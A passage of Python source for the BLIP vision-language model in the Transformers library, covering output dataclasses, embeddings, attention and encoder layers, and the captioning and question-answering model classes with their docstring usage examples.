Tuple of `torch.FloatTensor` (one for the output of the embeddings, if the model has an embedding layer, +
one for the output of each layer) of shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the optional initial embedding outputs.
vision_pooler_output (`torch.FloatTensor` of shape `(batch_size, hidden_size)`, *optional*):
Last layer hidden-state of the vision of the vision-only branch of the model.
attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
question_embeds (`torch.FloatTensor`):
The question embeddings obtained by the text projection layer.
"""
itm_score: Optional[torch.FloatTensor] = None
loss: Optional[torch.FloatTensor] = None
image_embeds: Optional[torch.FloatTensor] = None
last_hidden_state: torch.FloatTensor = None
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
vision_pooler_output: Optional[torch.FloatTensor] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
question_embeds: Optional[Tuple[torch.FloatTensor]] = None
@dataclass
class BlipOutput(ModelOutput):
"""
Args:
loss (`torch.FloatTensor` of shape `(1,)`, *optional*, returned when `return_loss` is `True`):
Contrastive loss for image-text similarity.
logits_per_image:(`torch.FloatTensor` of shape `(image_batch_size, text_batch_size)`):
The scaled dot product scores between `image_embeds` and `text_embeds`. This represents the image-text
similarity scores.
logits_per_text:(`torch.FloatTensor` of shape `(text_batch_size, image_batch_size)`):
The scaled dot product scores between `text_embeds` and `image_embeds`. This represents the text-image
similarity scores.
text_embeds(`torch.FloatTensor` of shape `(batch_size, output_dim`):
The text embeddings obtained by applying the projection layer to the pooled output of [`BlipTextModel`].
image_embeds(`torch.FloatTensor` of shape `(batch_size, output_dim`):
The image embeddings obtained by applying the projection layer to the pooled output of [`BlipVisionModel`].
text_model_output(`BaseModelOutputWithPooling`):
The output of the [`BlipTextModel`].
vision_model_output(`BaseModelOutputWithPooling`):
The output of the [`BlipVisionModel`].
"""
loss: Optional[torch.FloatTensor] = None
logits_per_image: torch.FloatTensor = None
logits_per_text: torch.FloatTensor = None
text_embeds: torch.FloatTensor = None
image_embeds: torch.FloatTensor = None
text_model_output: BaseModelOutputWithPooling = None
vision_model_output: BaseModelOutputWithPooling = None
def to_tuple(self) -> Tuple[Any]:
return tuple(
self[k] if k not in ["text_model_output", "vision_model_output"] else getattr(self, k).to_tuple()
for k in self.keys()
)
class BlipVisionEmbeddings(nn.Module):
def __init__(self, config: BlipVisionConfig):
super().__init__()
self.config = config
self.embed_dim = config.hidden_size
self.image_size = config.image_size
self.patch_size = config.patch_size
self.class_embedding = nn.Parameter(
torch.randn(1, 1, self.embed_dim),
)
self.patch_embedding = nn.Conv2d(
in_channels=3, out_channels=self.embed_dim, kernel_size=self.patch_size, stride=self.patch_size
)
self.num_patches = (self.image_size // self.patch_size) ** 2
self.num_positions = self.num_patches + 1
self.position_embedding = nn.Parameter(torch.randn(1, self.num_positions, self.embed_dim))
def forward(self, pixel_values: torch.FloatTensor) -> torch.Tensor:
batch_size = pixel_values.shape[0]
target_dtype = self.patch_embedding.weight.dtype
patch_embeds = self.patch_embedding(pixel_values) # shape = [*, width, grid, grid]
patch_embeds = patch_embeds.flatten(2).transpose(1, 2)
class_embeds = self.class_embedding.expand(batch_size, 1, -1).to(target_dtype)
embeddings = torch.cat([class_embeds, patch_embeds], dim=1)
embeddings = embeddings + self.position_embedding[:, : embeddings.size(1), :].to(target_dtype)
return embeddings
# Copied from transformers.models.clip.modeling_clip.CLIPTextEmbeddings with CLIP->Blip
class BlipTextEmbeddings(nn.Module):
def __init__(self, config: BlipTextConfig):
super().__init__()
embed_dim = config.hidden_size
self.token_embedding = nn.Embedding(config.vocab_size, embed_dim)
self.position_embedding = nn.Embedding(config.max_position_embeddings, embed_dim)
# position_ids (1, len position emb) is contiguous in memory and exported when serialized
self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1)))
def forward(
self,
input_ids: Optional[torch.LongTensor] = None,
position_ids: Optional[torch.LongTensor] = None,
inputs_embeds: Optional[torch.FloatTensor] = None,
) -> torch.Tensor:
seq_length = input_ids.shape[-1] if input_ids is not None else inputs_embeds.shape[-2]
if position_ids is None:
position_ids = self.position_ids[:, :seq_length]
if inputs_embeds is None:
inputs_embeds = self.token_embedding(input_ids)
position_embeddings = self.position_embedding(position_ids)
embeddings = inputs_embeds + position_embeddings
return embeddings
class BlipAttention(nn.Module):
"""Multi-headed attention from 'Attention Is All You Need' paper"""
def __init__(self, config):
super().__init__()
self.config = config
self.embed_dim = config.hidden_size
self.num_heads = config.num_attention_heads
self.head_dim = self.embed_dim // self.num_heads
if self.head_dim * self.num_heads != self.embed_dim:
raise ValueError(
f"embed_dim must be divisible by num_heads (got `embed_dim`: {self.embed_dim} and `num_heads`:"
f" {self.num_heads})."
)
self.scale = self.head_dim**-0.5
self.dropout = nn.Dropout(config.attention_dropout)
self.qkv = nn.Linear(self.embed_dim, 3 * self.embed_dim)
self.projection = nn.Linear(self.embed_dim, self.embed_dim)
def _shape(self, tensor: torch.Tensor, seq_len: int, bsz: int):
return tensor.view(bsz, seq_len, self.num_heads, self.head_dim).transpose(1, 2).contiguous()
def forward(
self,
hidden_states: torch.Tensor,
head_mask: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = False,
) -> Tuple[torch.Tensor, Optional[torch.Tensor], Optional[Tuple[torch.Tensor]]]:
"""Input shape: Batch x Time x Channel"""
bsz, tgt_len, embed_dim = hidden_states.size()
mixed_qkv = self.qkv(hidden_states)
mixed_qkv = (
self.qkv(hidden_states)
.reshape(bsz, tgt_len, 3, self.num_heads, embed_dim // self.num_heads)
.permute(2, 0, 3, 1, 4)
)
query_states, key_states, value_states = (
mixed_qkv[0],
mixed_qkv[1],
mixed_qkv[2],
)
# Take the dot product between "query" and "key" to get the raw attention scores.
attention_scores = torch.matmul(query_states, key_states.transpose(-1, -2))
attention_scores = attention_scores * self.scale
# Normalize the attention scores to probabilities.
attention_probs = nn.functional.softmax(attention_scores, dim=-1)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs = self.dropout(attention_probs)
# Mask heads if we want to
if head_mask is not None:
attention_probs = attention_probs * head_mask
context_layer = torch.matmul(attention_probs, value_states).permute(0, 2, 1, 3)
new_context_layer_shape = context_layer.size()[:-2] + (self.embed_dim,)
context_layer = context_layer.reshape(new_context_layer_shape)
output = self.projection(context_layer)
outputs = (output, attention_probs) if output_attentions else (output, None)
return outputs
# Copied from transformers.models.clip.modeling_clip.CLIPMLP with CLIP->Blip
class BlipMLP(nn.Module):
def __init__(self, config):
super().__init__()
self.config = config
self.activation_fn = ACT2FN[config.hidden_act]
self.fc1 = nn.Linear(config.hidden_size, config.intermediate_size)
self.fc2 = nn.Linear(config.intermediate_size, config.hidden_size)
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
hidden_states = self.fc1(hidden_states)
hidden_states = self.activation_fn(hidden_states)
hidden_states = self.fc2(hidden_states)
return hidden_states
class BlipEncoderLayer(nn.Module):
def __init__(self, config: BlipConfig):
super().__init__()
self.embed_dim = config.hidden_size
self.self_attn = BlipAttention(config)
self.layer_norm1 = nn.LayerNorm(self.embed_dim, eps=config.layer_norm_eps)
self.mlp = BlipMLP(config)
self.layer_norm2 = nn.LayerNorm(self.embed_dim, eps=config.layer_norm_eps)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: torch.Tensor,
output_attentions: Optional[bool] = False,
) -> Tuple[torch.FloatTensor]:
"""
Args:
hidden_states (`torch.FloatTensor`): input to the layer of shape `(batch, seq_len, embed_dim)`
attention_mask (`torch.FloatTensor`): attention mask of size
`(batch, 1, tgt_len, src_len)` where padding elements are indicated by very large negative values.
`(config.encoder_attention_heads,)`.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under
returned tensors for more detail.
"""
residual = hidden_states
hidden_states = self.layer_norm1(hidden_states)
hidden_states, attn_weights = self.self_attn(
hidden_states=hidden_states,
head_mask=attention_mask,
output_attentions=output_attentions,
)
hidden_states = hidden_states + residual
residual = hidden_states
hidden_states = self.layer_norm2(hidden_states)
hidden_states = self.mlp(hidden_states)
hidden_states = hidden_states + residual
outputs = (hidden_states,)
if output_attentions:
outputs += (attn_weights,)
return outputs
class BlipPreTrainedModel(PreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = BlipConfig
base_model_prefix = "blip"
supports_gradient_checkpointing = True
_keys_to_ignore_on_load_missing = [r"position_ids"]
def _init_weights(self, module):
"""Initialize the weights"""
factor = self.config.initializer_range
if isinstance(module, nn.Conv2d) or isinstance(module, nn.Embedding) or isinstance(module, nn.Linear):
module.weight.data.normal_(mean=0.0, std=factor)
if hasattr(module, "bias") and module.bias is not None:
module.bias.data.zero_()
if isinstance(module, BlipVisionEmbeddings):
if hasattr(self.config, "vision_config"):
factor = self.config.vision_config.initializer_range
nn.init.trunc_normal_(
module.position_embedding,
mean=0.0,
std=factor,
)
nn.init.trunc_normal_(
module.class_embedding,
mean=0.0,
std=factor,
)
elif isinstance(module, nn.LayerNorm):
module.bias.data.zero_()
module.weight.data.fill_(1.0)
elif isinstance(module, nn.Linear) and module.bias is not None:
module.bias.data.zero_()
def _set_gradient_checkpointing(self, module, value=False):
if isinstance(module, BlipEncoder):
module.gradient_checkpointing = value
BLIP_START_DOCSTRING = r"""
This model inherits from [`PreTrainedModel`]. Check the superclass documentation for the generic methods the
library implements for all its model (such as downloading or saving, resizing the input embeddings, pruning heads
etc.)
This model is also a PyTorch [torch.nn.Module](https://pytorch.org/docs/stable/nn.html#torch.nn.Module) subclass.
Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage
and behavior.
Parameters:
config ([`BlipConfig`]): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the [`~PreTrainedModel.from_pretrained`] method to load the model weights.
"""
BLIP_TEXT_INPUTS_DOCSTRING = r"""
Args:
input_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`):
Indices of input sequence tokens in the vocabulary. Padding will be ignored by default should you provide
it.
Indices can be obtained using [`AutoProcessor`]. See [`BlipProcessor.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`torch.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
position_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Indices of positions of each input sequence tokens in the position embeddings. Selected in the range `[0,
config.max_position_embeddings - 1]`.
[What are position IDs?](../glossary#position-ids)
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
BLIP_VISION_INPUTS_DOCSTRING = r"""
Args:
pixel_values (`torch.FloatTensor` of shape `(batch_size, num_channels, height, width)`):
Pixel values. Padding will be ignored by default should you provide it. Pixel values can be obtained using
[`BlipImageProcessor`]. See [`BlipImageProcessor.__call__`] for details.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
BLIP_INPUTS_DOCSTRING = r"""
Args:
input_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`):
Indices of input sequence tokens in the vocabulary. Padding will be ignored by default should you provide
it.
Indices can be obtained using [`AutoProcessor`]. See [`BlipProcessor.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`torch.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
position_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Indices of positions of each input sequence tokens in the position embeddings. Selected in the range `[0,
config.max_position_embeddings - 1]`.
[What are position IDs?](../glossary#position-ids)
pixel_values (`torch.FloatTensor` of shape `(batch_size, num_channels, height, width)`):
Pixel values. Padding will be ignored by default should you provide it. Pixel values can be obtained using
[`BlipImageProcessor`]. See [`BlipImageProcessor.__call__`] for details.
return_loss (`bool`, *optional*):
Whether or not to return the contrastive loss.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
class BlipEncoder(nn.Module):
"""
Transformer encoder consisting of `config.num_hidden_layers` self attention layers. Each layer is a
[`BlipEncoderLayer`].
Args:
config (`BlipConfig`):
The corresponding vision configuration for the `BlipEncoder`.
"""
def __init__(self, config: BlipConfig):
super().__init__()
self.config = config
self.layers = nn.ModuleList([BlipEncoderLayer(config) for _ in range(config.num_hidden_layers)])
self.gradient_checkpointing = False
def forward(
self,
inputs_embeds,
attention_mask: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, BaseModelOutput]:
r"""
Args:
inputs_embeds (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`):
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation.
This is useful if you want more control over how to convert `input_ids` indices into associated vectors
than the model's internal embedding lookup matrix.
attention_mask (`torch.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under
returned tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors
for more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
encoder_states = () if output_hidden_states else None
all_attentions = () if output_attentions else None
hidden_states = inputs_embeds
for idx, encoder_layer in enumerate(self.layers):
if output_hidden_states:
encoder_states = encoder_states + (hidden_states,)
if self.gradient_checkpointing and self.training:
def create_custom_forward(module):
def custom_forward(*inputs):
return module(*inputs, output_attentions)
return custom_forward
layer_outputs = torch.utils.checkpoint.checkpoint(
create_custom_forward(encoder_layer),
hidden_states,
attention_mask,
)
else:
layer_outputs = encoder_layer(
hidden_states,
attention_mask,
output_attentions=output_attentions,
)
hidden_states = layer_outputs[0]
if output_attentions:
all_attentions = all_attentions + (layer_outputs[1],)
if output_hidden_states:
encoder_states = encoder_states + (hidden_states,)
if not return_dict:
return tuple(v for v in [hidden_states, encoder_states, all_attentions] if v is not None)
return BaseModelOutput(
last_hidden_state=hidden_states, hidden_states=encoder_states, attentions=all_attentions
)
class BlipVisionModel(BlipPreTrainedModel):
main_input_name = "pixel_values"
config_class = BlipVisionConfig
def __init__(self, config: BlipVisionConfig):
super().__init__(config)
self.config = config
embed_dim = config.hidden_size
self.embeddings = BlipVisionEmbeddings(config)
self.encoder = BlipEncoder(config)
self.post_layernorm = nn.LayerNorm(embed_dim, eps=config.layer_norm_eps)
self.post_init()
@add_start_docstrings_to_model_forward(BLIP_VISION_INPUTS_DOCSTRING)
@replace_return_docstrings(output_type=BaseModelOutputWithPooling, config_class=BlipVisionConfig)
def forward(
self,
pixel_values: Optional[torch.FloatTensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, BaseModelOutputWithPooling]:
r"""
Returns:
"""
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if pixel_values is None:
raise ValueError("You have to specify pixel_values")
hidden_states = self.embeddings(pixel_values)
encoder_outputs = self.encoder(
inputs_embeds=hidden_states,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
last_hidden_state = encoder_outputs[0]
last_hidden_state = self.post_layernorm(last_hidden_state)
pooled_output = last_hidden_state[:, 0, :]
pooled_output = self.post_layernorm(pooled_output)
if not return_dict:
return (last_hidden_state, pooled_output) + encoder_outputs[1:]
return BaseModelOutputWithPooling(
last_hidden_state=last_hidden_state,
pooler_output=pooled_output,
hidden_states=encoder_outputs.hidden_states,
attentions=encoder_outputs.attentions,
)
def get_input_embeddings(self):
return self.embeddings
@add_start_docstrings(BLIP_START_DOCSTRING)
class BlipModel(BlipPreTrainedModel):
config_class = BlipConfig
def __init__(self, config: BlipConfig):
super().__init__(config)
if not isinstance(config.text_config, BlipTextConfig):
raise ValueError(
"config.text_config is expected to be of type BlipTextConfig but is of type"
f" {type(config.text_config)}."
)
if not isinstance(config.vision_config, BlipVisionConfig):
raise ValueError(
"config.vision_config is expected to be of type BlipVisionConfig but is of type"
f" {type(config.vision_config)}."
)
text_config = config.text_config
vision_config = config.vision_config
self.projection_dim = config.projection_dim
self.text_embed_dim = text_config.hidden_size
self.vision_embed_dim = vision_config.hidden_size
self.text_model = BlipTextModel(text_config)
self.vision_model = BlipVisionModel(vision_config)
self.visual_projection = nn.Linear(self.vision_embed_dim, self.projection_dim, bias=False)
self.text_projection = nn.Linear(self.text_embed_dim, self.projection_dim, bias=False)
self.logit_scale = nn.Parameter(torch.ones([]) * self.config.logit_scale_init_value)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(BLIP_TEXT_INPUTS_DOCSTRING)
def get_text_features(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
return_dict: Optional[bool] = None,
) -> torch.FloatTensor:
r"""
Returns:
text_features (`torch.FloatTensor` of shape `(batch_size, output_dim`): The text embeddings obtained by
applying the projection layer to the pooled output of [`BlipTextModel`].
Examples:
```python
>>> from transformers import AutoProcessor, BlipModel
>>> model = BlipModel.from_pretrained("Salesforce/blip-image-captioning-base")
>>> processor = AutoProcessor.from_pretrained("Salesforce/blip-image-captioning-base")
>>> inputs = processor(text=["a photo of a cat", "a photo of a dog"], padding=True, return_tensors="pt")
>>> text_features = model.get_text_features(**inputs)
```"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
text_outputs = self.text_model(
input_ids=input_ids,
attention_mask=attention_mask,
position_ids=position_ids,
return_dict=return_dict,
)
pooled_output = text_outputs[1]
text_features = self.text_projection(pooled_output)
return text_features
@add_start_docstrings_to_model_forward(BLIP_VISION_INPUTS_DOCSTRING)
def get_image_features(
self,
pixel_values: Optional[torch.FloatTensor] = None,
return_dict: Optional[bool] = None,
) -> torch.FloatTensor:
r"""
Returns:
image_features (`torch.FloatTensor` of shape `(batch_size, output_dim`): The image embeddings obtained by
applying the projection layer to the pooled output of [`BlipVisionModel`].
Examples:
```python
>>> from PIL import Image
>>> import requests
>>> from transformers import AutoProcessor, BlipModel
>>> model = BlipModel.from_pretrained("Salesforce/blip-image-captioning-base")
>>> processor = AutoProcessor.from_pretrained("Salesforce/blip-image-captioning-base")
>>> url = "http://images.cocodataset.org/val2017/000000039769.jpg"
>>> image = Image.open(requests.get(url, stream=True).raw)
>>> inputs = processor(images=image, return_tensors="pt")
>>> image_features = model.get_image_features(**inputs)
```"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
vision_outputs = self.vision_model(
pixel_values=pixel_values,
return_dict=return_dict,
)
pooled_output = vision_outputs[1] # pooled_output
image_features = self.visual_projection(pooled_output)
return image_features
@add_start_docstrings_to_model_forward(BLIP_INPUTS_DOCSTRING)
@replace_return_docstrings(output_type=BlipOutput, config_class=BlipConfig)
def forward(
self,
input_ids: Optional[torch.LongTensor] = None,
pixel_values: Optional[torch.FloatTensor] = None,
attention_mask: Optional[torch.Tensor] = None,
position_ids: Optional[torch.LongTensor] = None,
return_loss: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, BlipOutput]:
r"""
Returns:
Examples:
```python
>>> from PIL import Image
>>> import requests
>>> from transformers import AutoProcessor, BlipModel
>>> model = BlipModel.from_pretrained("Salesforce/blip-image-captioning-base")
>>> processor = AutoProcessor.from_pretrained("Salesforce/blip-image-captioning-base")
>>> url = "http://images.cocodataset.org/val2017/000000039769.jpg"
>>> image = Image.open(requests.get(url, stream=True).raw)
>>> inputs = processor(
... text=["a photo of a cat", "a photo of a dog"], images=image, return_tensors="pt", padding=True
... )
>>> outputs = model(**inputs)
>>> logits_per_image = outputs.logits_per_image # this is the image-text similarity score
>>> probs = logits_per_image.softmax(dim=1) # we can take the softmax to get the label probabilities
```"""
# Use BLIP model's config for some fields (if specified) instead of those of vision & text components.
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
vision_outputs = self.vision_model(
pixel_values=pixel_values,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
text_outputs = self.text_model(
input_ids=input_ids,
attention_mask=attention_mask,
position_ids=position_ids,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
image_embeds = vision_outputs[1]
image_embeds = self.visual_projection(image_embeds)
text_embeds = text_outputs[1]
text_embeds = self.text_projection(text_embeds)
# normalized features
image_embeds = image_embeds / image_embeds.norm(p=2, dim=-1, keepdim=True)
text_embeds = text_embeds / text_embeds.norm(p=2, dim=-1, keepdim=True)
# cosine similarity as logits
logit_scale = self.logit_scale.exp()
logits_per_text = torch.matmul(text_embeds, image_embeds.t()) * logit_scale
logits_per_image = logits_per_text.t()
loss = None
if return_loss:
loss = blip_loss(logits_per_text)
if not return_dict:
output = (logits_per_image, logits_per_text, text_embeds, image_embeds, text_outputs, vision_outputs)
return ((loss,) + output) if loss is not None else output
return BlipOutput(
loss=loss,
logits_per_image=logits_per_image,
logits_per_text=logits_per_text,
text_embeds=text_embeds,
image_embeds=image_embeds,
text_model_output=text_outputs,
vision_model_output=vision_outputs,
)
@add_start_docstrings(
"""
BLIP Model for image captioning. The model consists of a vision encoder and a text decoder. One can optionally pass
`input_ids` to the model, which serve as a text prompt, to make the text decoder continue the prompt. Otherwise,
the decoder starts generating text from the [BOS] (beginning-of-sequence) token. will start generating the caption
from the text input. If no text input is provided, the decoder will start with the [BOS] token only.
""",
BLIP_START_DOCSTRING,
)
class BlipForConditionalGeneration(BlipPreTrainedModel):
config_class = BlipConfig
_keys_to_ignore_on_load_missing = [r"text_decoder.cls.predictions.decoder.bias"]
main_input_name = "pixel_values"
def __init__(self, config: BlipConfig):
super().__init__(config)
self.vision_model = BlipVisionModel(config.vision_config)
self.text_decoder = BlipTextLMHeadModel(config.text_config)
self.decoder_input_ids = config.text_config.bos_token_id
self.decoder_pad_token_id = config.text_config.pad_token_id
# Initialize weights and apply final processing
self.post_init()
def get_input_embeddings(self) -> nn.Module:
return self.vision_model.embeddings.patch_embedding
@add_start_docstrings_to_model_forward(BLIP_VISION_INPUTS_DOCSTRING)
@replace_return_docstrings(output_type=BlipForConditionalGenerationModelOutput, config_class=BlipVisionConfig)
def forward(
self,
pixel_values: torch.FloatTensor,
input_ids: Optional[torch.LongTensor] = None,
attention_mask: Optional[torch.LongTensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
labels: Optional[torch.LongTensor] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, BlipForConditionalGenerationModelOutput]:
r"""
Returns:
Examples:
```python
>>> from PIL import Image
>>> import requests
>>> from transformers import AutoProcessor, BlipForConditionalGeneration
>>> processor = AutoProcessor.from_pretrained("Salesforce/blip-image-captioning-base")
>>> model = BlipForConditionalGeneration.from_pretrained("Salesforce/blip-image-captioning-base")
>>> url = "http://images.cocodataset.org/val2017/000000039769.jpg"
>>> image = Image.open(requests.get(url, stream=True).raw)
>>> text = "A picture of"
>>> inputs = processor(images=image, text=text, return_tensors="pt")
>>> outputs = model(**inputs)
```"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
vision_outputs = self.vision_model(
pixel_values=pixel_values,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
image_embeds = vision_outputs[0]
outputs = self.text_decoder(
input_ids=input_ids,
attention_mask=attention_mask,
encoder_hidden_states=image_embeds,
labels=labels,
return_dict=return_dict,
reduction="mean",
)
if not return_dict:
outputs = (outputs[0], outputs[1], image_embeds, vision_outputs[0]) + vision_outputs[2:]
return tuple(output for output in outputs if output is not None)
return BlipForConditionalGenerationModelOutput(
loss=outputs.loss,
decoder_logits=outputs.logits,
image_embeds=image_embeds,
last_hidden_state=vision_outputs.last_hidden_state,
hidden_states=vision_outputs.hidden_states,
attentions=vision_outputs.attentions,
)
@torch.no_grad()
def generate(
self,
pixel_values: torch.FloatTensor,
input_ids: Optional[torch.LongTensor] = None,
attention_mask: Optional[torch.LongTensor] = None,
**generate_kwargs,
) -> torch.LongTensor:
r"""
Overrides *generate* function to be able to use the model as a conditional generator
Parameters:
pixel_values (*torch.FloatTensor* of shape *(batch_size, image_width, image_height)*:
Input image to be processed
input_ids (*torch.LongTensor* of shape *(batch_size, sequence_length)*, *optional*):
The sequence used as a prompt for the generation.
attention_mask (*torch.LongTensor* of shape *(batch_size, sequence_length)*, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
Examples:
```python
>>> from PIL import Image
>>> import requests
>>> from transformers import AutoProcessor, BlipForConditionalGeneration
>>> model = BlipForConditionalGeneration.from_pretrained("Salesforce/blip-image-captioning-base")
>>> processor = AutoProcessor.from_pretrained("Salesforce/blip-image-captioning-base")
>>> url = "http://images.cocodataset.org/val2017/000000039769.jpg"
>>> image = Image.open(requests.get(url, stream=True).raw)
>>> inputs = processor(images=image, return_tensors="pt")
>>> outputs = model.generate(**inputs)
>>> print(processor.decode(outputs[0], skip_special_tokens=True))
two cats are laying on a couch
```
"""
batch_size = pixel_values.shape[0]
vision_outputs = self.vision_model(
pixel_values=pixel_values,
)
image_embeds = vision_outputs[0]
image_attention_mask = torch.ones(image_embeds.size()[:-1], dtype=torch.long).to(image_embeds.device)
if isinstance(input_ids, list):
input_ids = torch.LongTensor(input_ids)
elif input_ids is None:
input_ids = (
torch.LongTensor([[self.decoder_input_ids, self.config.text_config.eos_token_id]])
.repeat(batch_size, 1)
.to(image_embeds.device)
)
input_ids[:, 0] = self.config.text_config.bos_token_id
attention_mask = attention_mask[:, :-1] if attention_mask is not None else None
outputs = self.text_decoder.generate(
input_ids=input_ids[:, :-1],
eos_token_id=self.config.text_config.sep_token_id,
pad_token_id=self.config.text_config.pad_token_id,
attention_mask=attention_mask,
encoder_hidden_states=image_embeds,
encoder_attention_mask=image_attention_mask,
**generate_kwargs,
)
return outputs
@add_start_docstrings(
"""
BLIP Model for visual question answering. The model consists of a vision encoder, a text encoder as well as a text
decoder. The vision encoder will encode the input image, the text encoder will encode the input question together
with the encoding of the image, and the text decoder will output the answer to the question.
""",
BLIP_START_DOCSTRING,
)
class BlipForQuestionAnswering(BlipPreTrainedModel):
config_class = BlipConfig
_keys_to_ignore_on_load_missing = [r"text_decoder.cls.predictions.decoder.bias"]
def __init__(self, config: BlipConfig):
super().__init__(config)
self.vision_model = BlipVisionModel(config.vision_config)
self.text_encoder = BlipTextModel(config.text_config, add_pooling_layer=False)
self.text_decoder = BlipTextLMHeadModel(config.text_config)
self.decoder_pad_token_id = config.text_config.pad_token_id
self.decoder_start_token_id = config.text_config.bos_token_id
# Initialize weights and apply final processing
self.post_init()
def get_input_embeddings(self) -> nn.Module:
return self.vision_model.embeddings.patch_embedding
# Adapted from transformers.models.t5.modeling_t5.T5PreTrainedModel._shift_right
def _shift_right(self, input_ids):
pad_token_id = self.decoder_pad_token_id
shifted_input_ids = input_ids.new_zeros(input_ids.shape)
shifted_input_ids[..., 1:] = input_ids[..., :-1].clone()
shifted_input_ids[..., 0] = self.decoder_start_token_id
# replace possible -100 values in labels by `pad_token_id`
shifted_input_ids.masked_fill_(shifted_input_ids == -100, pad_token_id)
return shifted_input_ids
@add_start_docstrings_to_model_forward(BLIP_VISION_INPUTS_DOCSTRING)
@replace_return_docstrings(output_type=BlipTextVisionModelOutput, config_class=BlipVisionConfig)
def forward(
self,
input_ids: torch.LongTensor,
pixel_values: torch.FloatTensor,
decoder_input_ids: Optional[torch.LongTensor] = None,
decoder_attention_mask: Optional[torch.LongTensor] = None,
attention_mask: Optional[torch.LongTensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
